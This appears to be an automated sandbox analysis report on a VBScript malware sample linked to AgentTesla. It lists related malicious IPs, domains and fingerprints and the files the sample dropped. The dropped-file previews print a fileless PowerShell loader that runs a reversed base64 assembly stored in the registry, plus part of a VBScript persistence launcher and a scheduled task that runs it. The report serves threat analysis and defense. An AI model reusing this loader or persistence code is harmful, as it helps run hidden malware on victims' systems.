Excluded domains from analysis (whitelisted): ocsp.digicert.com, onedsblobprdcus15.centralus.cloudapp.azure.com, slscr.update.microsoft.com, otelrules.azureedge.net, login.live.com, blobcollector.events.data.trafficmanager.net, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Booking_0731520.vbe

Simulations

Behavior and APIs

Time	Type	Description
07:39:47	API Interceptor	10x Sleep call for process: wscript.exe modified
07:41:05	API Interceptor	41x Sleep call for process: powershell.exe modified
07:41:10	API Interceptor	18x Sleep call for process: RegSvcs.exe modified
07:41:27	API Interceptor	1x Sleep call for process: wermgr.exe modified
13:40:04	Task Scheduler	Run new task: PPJeBFdmEDGXlnL path: C:\Users\user\AppData\Roaming\PPJeBFdmEDGXlnL.vbs

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.26.12.205	Ransomware Mallox.exe	Get hash	malicious	Targeted Ransomware	Browse	api.ipify.org/
	Yc9hcFC1ux.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	6706e721f2c06.exe	Get hash	malicious	Remcos	Browse	api.ipify.org/
	perfcc.elf	Get hash	malicious	Xmrig	Browse	api.ipify.org/
	SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Get hash	malicious	RDPWrap Tool	Browse	api.ipify.org/
	SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Get hash	malicious	RDPWrap Tool	Browse	api.ipify.org/
	hloRQZmlfg.exe	Get hash	malicious	RDPWrap Tool	Browse	api.ipify.org/
	file.exe	Get hash	malicious	RDPWrap Tool	Browse	api.ipify.org/
	file.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	file.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
162.254.34.31	SWIFTCOPY202973783.vbe	Get hash	malicious	AgentTesla	Browse
	D6yz87XjgM.exe	Get hash	malicious	AgentTesla	Browse
	Urgent Quotation documents One Pdf.vbs	Get hash	malicious	AgentTesla	Browse
	Ref#150689.vbe	Get hash	malicious	AgentTesla	Browse
	Request for Best Price Offer.exe	Get hash	malicious	AgentTesla	Browse
	EQORY0083009.vbs	Get hash	malicious	AgentTesla	Browse
	Order0958490.vbe	Get hash	malicious	AgentTesla	Browse
	Ref#0503711.exe	Get hash	malicious	AgentTesla	Browse
	Booking_0106.exe	Get hash	malicious	AgentTesla	Browse
	Ref_5010_103.exe	Get hash	malicious	AgentTesla	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
api.ipify.org	Purchase order.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	https://www.canva.com/design/DAGV5ZsI2aM/Y4DbzinsvfGp5Ll4c_oJJQ/view?utm_content=DAGV5ZsI2aM&utm_campaign=designshare&utm_medium=link&utm_source=editor	Get hash	malicious	Unknown	Browse	104.26.13.205
	Ziraat_Bankasi_Swift_Mesaji_DXB04958T.bat	Get hash	malicious	AgentTesla, DBatLoader	Browse	104.26.12.205
	Swift Copy.bat.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	104.26.13.205
	Pago por adelantado_ USD 72000 (50%).exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	SWIFTCOPY202973783.vbe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	Quotation.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	172.67.74.152
	Creal.exe	Get hash	malicious	Creal Stealer	Browse	104.26.13.205
	#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe	Get hash	malicious	Blank Grabber, Creal Stealer	Browse	104.26.12.205
	ypauPrrA08.exe	Get hash	malicious	Ades Stealer, BlackGuard, VEGA Stealer	Browse	104.26.13.205

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	http://spain.recordsbluemountain.com	Get hash	malicious	Unknown	Browse	188.114.96.3
	Fizetes_12112024.jpg.img	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	#U00c1tutal#U00e1s-meger#U0151s#U00edt#U00e9se_469253,jpg.img	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	DEMASI-24-12B DOC. SCAN.exe	Get hash	malicious	GuLoader, Remcos	Browse	172.67.216.75
	https://microsoftatacrisuredbathehatcheragency.birchsstreet.net/	Get hash	malicious	Unknown	Browse	104.21.29.37
	Scan_7341292.pdf	Get hash	malicious	HTMLPhisher	Browse	104.18.95.41
	https://t.ly/D5x5U	Get hash	malicious	Braodo	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	Offer Document.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	188.114.96.3
	https://amende-facture.business/ANT	Get hash	malicious	Unknown	Browse	104.21.17.52
VIVIDHOSTINGUS	SWIFTCOPY202973783.vbe	Get hash	malicious	AgentTesla	Browse	162.254.34.31
	D6yz87XjgM.exe	Get hash	malicious	AgentTesla	Browse	162.254.34.31
	m68k.elf	Get hash	malicious	Unknown	Browse	64.190.116.37
	Urgent Quotation documents One Pdf.vbs	Get hash	malicious	AgentTesla	Browse	162.254.34.31
	Ref#150689.vbe	Get hash	malicious	AgentTesla	Browse	162.254.34.31
	arm5.elf	Get hash	malicious	Unknown	Browse	68.64.140.119
	spc.elf	Get hash	malicious	Mirai	Browse	216.157.141.60
	arm.elf	Get hash	malicious	Mirai	Browse	206.40.174.18
	Request for Best Price Offer.exe	Get hash	malicious	AgentTesla	Browse	162.254.34.31
	EQORY0083009.vbs	Get hash	malicious	AgentTesla	Browse	162.254.34.31
CLOUDFLARENETUS	http://spain.recordsbluemountain.com	Get hash	malicious	Unknown	Browse	188.114.96.3
	Fizetes_12112024.jpg.img	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	#U00c1tutal#U00e1s-meger#U0151s#U00edt#U00e9se_469253,jpg.img	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	DEMASI-24-12B DOC. SCAN.exe	Get hash	malicious	GuLoader, Remcos	Browse	172.67.216.75
	https://microsoftatacrisuredbathehatcheragency.birchsstreet.net/	Get hash	malicious	Unknown	Browse	104.21.29.37
	Scan_7341292.pdf	Get hash	malicious	HTMLPhisher	Browse	104.18.95.41
	https://t.ly/D5x5U	Get hash	malicious	Braodo	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	Offer Document.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	188.114.96.3
	https://amende-facture.business/ANT	Get hash	malicious	Unknown	Browse	104.21.17.52

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	Fizetes_12112024.jpg.img	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.26.12.205
	#U00c1tutal#U00e1s-meger#U0151s#U00edt#U00e9se_469253,jpg.img	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.26.12.205
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	104.26.12.205
	Offer Document.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	104.26.12.205
	BL New Booking_ 021-34326093HL.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	104.26.12.205
	Malzeme i#U00e7in G#U00f6rsel Sipari#U015fler #PO160924R0 _323282.exe	Get hash	malicious	VIP Keylogger	Browse	104.26.12.205
	6DfHIXhWXp.lnk	Get hash	malicious	Unknown	Browse	104.26.12.205
	YIU6wlOgnJ.lnk	Get hash	malicious	Unknown	Browse	104.26.12.205
	VQSLdElLF9.lnk	Get hash	malicious	Unknown	Browse	104.26.12.205
	whf6kh4bok.lnk	Get hash	malicious	Unknown	Browse	104.26.12.205
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.67.215.48
	Payment advice_USD75,230.18.xls	Get hash	malicious	Unknown	Browse	172.67.215.48
	Scan12112024,pdf.vbs	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	172.67.215.48
	file.exe	Get hash	malicious	LummaC	Browse	172.67.215.48
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.67.215.48
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	172.67.215.48
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	172.67.215.48
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.67.215.48
	file.exe	Get hash	malicious	LummaC	Browse	172.67.215.48
	file.exe	Get hash	malicious	LummaC	Browse	172.67.215.48

Dropped Files

⊘No context

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\Critical_powershell.exe_b4b21b9272f0623778607a435112f88140f556cc_00000000_5cd8eba3-c144-4735-b825-4271c2323dde\Report.wer

Process:	C:\Windows\System32\wermgr.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.5345138499493663
Encrypted:	false
SSDEEP:	96:bMFtjSrxYidmRH3Uje0eD/JuNnN9KQXIGZAX/d5FMT2SlPkpXmTA+f/VXT5NHBjE:oDSmGmR30wAAzuiF0Z24lO8
MD5:	A29C9DD7E3D752C7359D7BDD75702762
SHA1:	0F609963814CB9398F49AB97152ECF2814F9D37E
SHA-256:	8630AF3235861FE7464F8688FE82EA5B6F244D71BE09B0E182DBF65638A072A0
SHA-512:	5438A10D80CE3555B006DDC008450606BB1104E5DB18DDD6DF72A0F6B9DB8E33DA8C93343BF2D4FCB542948A7913240D368EEF6EC19DD6A79C4589971256D588
Malicious:	false
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.P.o.w.e.r.S.h.e.l.l.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.5.8.8.9.0.6.6.0.9.3.1.0.1.8.....R.e.p.o.r.t.T.y.p.e.=.1.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.5.8.8.8.8.6.8.5.9.1.6.8.2.8.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.5.c.d.8.e.b.a.3.-.c.1.4.4.-.4.7.3.5.-.b.8.2.5.-.4.2.7.1.c.2.3.2.3.d.d.e.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.P.o.w.e.r.S.h.e.l.l...E.X.E.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.f.9.c.-.0.0.0.1.-.0.0.1.4.-.5.5.d.d.-.2.1.2.2.0.0.3.5.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.f.5.1.9.f.e.e.c.4.8.6.d.e.8.7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.f.4.3.d.9.b.b.3.1.6.e.3.0.a.e.1.a.3.4.9.4.a.c.5.b.0.6.2.4.f.6.b.e.a.1.b.f.0.5.4.!.p.o.w.e.r.s.h.e.l.l...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.3.7././.0.6././.1.0.:.0.7.:.4.5.:.2.5.!.7.d.6.d.a.!.p.o.w.e.r.s.h.e.l.l...e.x.e.....B.o.o.t.I.d.=.4.2.9.4.9.6.7.2.9.5.....T.a.r.g.e.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB751.tmp.WERInternalMetadata.xml

Process:	C:\Windows\System32\wermgr.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	7414
Entropy (8bit):	3.6798207728558885
Encrypted:	false
SSDEEP:	96:RSIU6o7wVetbDDTjxfiUe6YKiqgmfHNV9reHJP5aM95m:R6l7wVeJDDTjZiUe6YKiqgmftq/p95m
MD5:	2098585255E599AFFBE5FDAB5403ECDD
SHA1:	9E92C7CE1485B4DA80A394B9BDED00A79B3D8951
SHA-256:	BEE501A85E1B5B353F87914FFE87E8432ED028B22AC62056C1CEB5F4AC1B3240
SHA-512:	07E0599187C165BCB0D3D13CD1BF8CCD5D0EA1C58745F09584B063CA735FF6801837BEA0309CF71394511CD9535FA3B5E2AC7A30DB44247EC1ADD9F5D6143AA8
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.8.0.9.2.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB780.tmp.xml

Process:	C:\Windows\System32\wermgr.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4899
Entropy (8bit):	4.569831397673442
Encrypted:	false
SSDEEP:	48:cvIwWl8zsoJg771I9b4WpW8VY5Ym8M4JFKlnOtSFAyq8vT0OtS8nytf2gd:uIjfuI7cx7VRJFKlnaWT0ynuf2gd
MD5:	1146B8D5982518AEBCA0F09C4E408639
SHA1:	39AAD39F77B90B693DB418164A7C119F38402DAF
SHA-256:	F84C000AB8FFFF6BF11040FEDB393EF1AC0626B23115A3D844FFF83420E041A9
SHA-512:	AE7D9B70AA9CABE34124F9F7DD545767F3020A9AA9A2D1EE2314054AEC7A203124AE8204ED6931EA02C2C62CB383198D4CB8FB28ADCDAD45CC97B0445502EF0B
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="584863" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	11887
Entropy (8bit):	4.901437212034066
Encrypted:	false
SSDEEP:	192:Zxoe5qpOZxoe54ib4ZVsm5emdqVFn3eGOVpN6K3bkkjo5OgkjDt4iWN3yBGHVQ9L:Srib4ZmVoGIpN6KQkj2Fkjh4iUxsNYWd
MD5:	ED30A738A05A68D6AB27771BD846A7AA
SHA1:	6AFCE0F6E39A9A59FF54956E1461F09747B57B44
SHA-256:	17D48B622292E016CFDF0550340FF6ED54693521D4D457B88BB23BD1AE076A31
SHA-512:	183E9ECAF5C467D7DA83F44FE990569215AFDB40B79BCA5C0D2C021228C7B85DF4793E2952130B772EC0896FBFBCF452078878ADF3A380A6D0A6BD00EA6663F2
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	PSMODULECACHE......)..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........&ug.z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	3256
Entropy (8bit):	5.404109340363203
Encrypted:	false
SSDEEP:	96:gEzlHyIFKL2O9qrh7Kf+oRJ5Eo9AdrxwN:V1yt2jrAfRLL2G
MD5:	047B195D3B8C00130835658997B1925D
SHA1:	5F77C7A5F798C4C0253839EBD7554B13987704E3
SHA-256:	B2C2801565403B2348CAF820F20B4B92C8725A5079D5360DAF455E84D28AC1FB
SHA-512:	D1724BE394B214B914A236AC1D55DB17B93669880BB3F71057DCD070AF3062FBFF494ABE085345015FCDF5FE6B11BAE9A19FCD20DC4EB749E13F31CD5565D60D
Malicious:	false
Preview:	@...e...........................................................H..............@-....f.J.\|.7h8..q.......Microsoft.Powershell.PSReadline.H...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.AutomationL.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices4.................%...K... ...........System.Xml..8..................1...L..U;V.<}........System.Numerics.4.................0..~.J.R...L........System.Data.<...............i..VdqF...\|...........System.ConfigurationH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<................$@...J....M+.B........System.Transactions.8.................C}...C....n..Bi.......Microsoft.CSharpP...............

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lqfx2iv5.p3l.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yoy4dkup.qoe.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	252
Entropy (8bit):	5.438866247103481
Encrypted:	false
SSDEEP:	6:xVwe5ljxsu2xKbLtSXqo83ULgvDoXZuBiA2V0LYGg3FI59:772EtSXqdAJci1V0LYHo
MD5:	754B5295ADED4BB9A70035A56DA441A6
SHA1:	FF3AB4CD8B4364EBE9FFF8392C409FD38013AEA5
SHA-256:	64D32D3B1FA23EC072053EBC6C08F687CA96B894ACB1E5D26316D6F59088CE33
SHA-512:	9D16E0CACD5B1F253345B0B3BD54B5A9BA4EE27A936BA6C3E2DF68442B5265EA5E61F1432BCD7CFE62766011F7C08571876695BB011CAF7C295AFD268F7446C5
Malicious:	false
Preview:	[AppDomain]::CurrentDomain.Load([Convert]::FromBase64String((-join (Get-ItemProperty -LiteralPath 'HKCU:\Software\PPJeBFdmEDGXlnL' -Name 's').s \| ForEach-Object {$_[-1..-($_.Length)]}))); [b.b]::b('PPJeBFdmEDGXlnL')..Stop-Process -Name conhost -Force..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms (copy)

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6222
Entropy (8bit):	3.6936133581898103
Encrypted:	false
SSDEEP:	48:WDLH7CpbU2K+ZtukvhkvklCywrn2k2niWlzHSogZomE2niWlIHSogZoS1:Kz7CaoWkvhkvCCtL2niWYHo2niW9HV
MD5:	BB0E83285D846DE2CE52AF7449ABCBAF
SHA1:	C0F95E6566C859D8914849457A053128FFA9D635
SHA-256:	8FA2C6635C980DAC5EB27DF15CACD0EC670FC121DD44710888BA35918C4E50AC
SHA-512:	4BC2764B62A62723405C5330E57A58C39E6CE4F5C7C3E551ADABDC79EA2C142093D90103A8FF04ADF61DBD08D18A0BA51E88612775A4DAF005926DA780427DC8
Malicious:	false
Preview:	...................................FL..................F.".. ...d.......]2".5..z.:{.............................:..DG..Yr?.D..U..k0.&...&...... M.....y.[..4....9".5......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSllY.d....B.....................Bdg.A.p.p.D.a.t.a...B.V.1.....lY.e..Roaming.@......DWSllY.e....C.....................{...R.o.a.m.i.n.g.....\.1.....DW.q..MICROS~1..D......DWSllY.d....D.....................sy%.M.i.c.r.o.s.o.f.t.....V.1.....DW.r..Windows.@......DWSllY.d....E.......................%.W.i.n.d.o.w.s.......1.....DWUl..STARTM~1..n......DWSllY.d....G...............D......a..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....DWWn..Programs..j......DWSllY.d....H...............@.........P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......DWSlDWSl....I.....................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......DWSllY"e....q...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\ZSV3V12QLUT4AN12IK7Y.temp

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6222
Entropy (8bit):	3.6936133581898103
Encrypted:	false
SSDEEP:	48:WDLH7CpbU2K+ZtukvhkvklCywrn2k2niWlzHSogZomE2niWlIHSogZoS1:Kz7CaoWkvhkvCCtL2niWYHo2niW9HV
MD5:	BB0E83285D846DE2CE52AF7449ABCBAF
SHA1:	C0F95E6566C859D8914849457A053128FFA9D635
SHA-256:	8FA2C6635C980DAC5EB27DF15CACD0EC670FC121DD44710888BA35918C4E50AC
SHA-512:	4BC2764B62A62723405C5330E57A58C39E6CE4F5C7C3E551ADABDC79EA2C142093D90103A8FF04ADF61DBD08D18A0BA51E88612775A4DAF005926DA780427DC8
Malicious:	false
Preview:	...................................FL..................F.".. ...d.......]2".5..z.:{.............................:..DG..Yr?.D..U..k0.&...&...... M.....y.[..4....9".5......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSllY.d....B.....................Bdg.A.p.p.D.a.t.a...B.V.1.....lY.e..Roaming.@......DWSllY.e....C.....................{...R.o.a.m.i.n.g.....\.1.....DW.q..MICROS~1..D......DWSllY.d....D.....................sy%.M.i.c.r.o.s.o.f.t.....V.1.....DW.r..Windows.@......DWSllY.d....E.......................%.W.i.n.d.o.w.s.......1.....DWUl..STARTM~1..n......DWSllY.d....G...............D......a..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....DWWn..Programs..j......DWSllY.d....H...............@.........P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......DWSlDWSl....I.....................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......DWSllY"e....q...........

C:\Users\user\AppData\Roaming\PPJeBFdmEDGXlnL.vbs

Process:	C:\Windows\System32\wscript.exe
File Type:	ISO-8859 text
Category:	dropped
Size (bytes):	2012
Entropy (8bit):	5.053973028894199
Encrypted:	false
SSDEEP:	48:RYuJ3nk3ZOSbrXZgjHVtrzejwPOWg8qhqFTUJZfYR8lBc4+rF:jcOIX67fzy5SqkMNyGc4+R
MD5:	4097C973A71DB17E24573739A029F321
SHA1:	00D4BA0C67A084895C70DD189CF208DA6B28B73C
SHA-256:	6723F6C69D0E2B7D4834D1B47D97D61EF7B9552A23075D16BF98DDEC260447E4
SHA-512:	A73EB26B1ED86201538EC188D2CA572A37D996CDFD58615D464264E8995D46BB2C327CD6965BE3E71A6DC36528D4204982FAE1FD3D454219B1A291AA4C93A7B6
Malicious:	false
Preview:	Option Explicit..' Nombre del proyecto: PPJeBFdmEDGXlnL.' Variables globales.Dim SSH, RWD, CBL.Set SSH = CreateObject("WScript.Shell").RWD = SSH.ExpandEnvironmentStrings("%windir%")..' Inicializaci.n de los par.metros del programa.Sub INP(). CBL = 0.End Sub..' Funci.n para verificar si un proceso espec.fico est. en ejecuci.n.Function PEQ(NPR). Dim SWI, LPA. Set SWI = GetObject("winmgmts:\\.\root\cimv2"). Set LPA = SWI.ExecQuery("SELECT * FROM Win32_Process WHERE Name='" & NPR & "'"). . PEQ = (LPA.Count > 0).End Function..' Procedimiento para iniciar PowerShell.Sub IPS(). SSH.Run RWD & "\system32\WindowsPowerShell\v1.0\powershell.exe", 2.End Sub..' Funci.n para buscar un proceso PowerShell en ejecuci.n.Function BPS(). Dim LPR, PAC. Set LPR = GetObject("winmgmts:").InstancesOf("Win32_Process"). . For Each PAC In LPR. If StrComp(PAC.Name, "powershell.exe", vbTextCompare) = 0 Then. Set BPS = PAC. Exit Function. End If.

\Device\ConDrv

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Non-ISO extended-ASCII text, with very long lines (875), with CRLF line terminators, with escape sequences
Category:	dropped
Size (bytes):	1665
Entropy (8bit):	4.490045339753992
Encrypted:	false
SSDEEP:	48:E6WQWxZziKyST+OAX+X5XpXKX/XFXoXQXDX5:E6TEZziKySTr4
MD5:	CF03ED750C6C2A1BAA2DE70F41F2746A
SHA1:	5CB38CBECFCA790D6DA1D7AF92DD568D14A142D8
SHA-256:	622F287D823A528B74E61064063E7DB8344B7F61F5F8ED502FCDC54A474E0E5B
SHA-512:	E73560CDAFD3F848ED4303C26876A4D1B8BFE7B1BD6D5D4550584C146DCDE68A77BD6A4380EB58EB843827A1C6637EACA2EE1EA74196C54418B55EE227795F1D
Malicious:	false
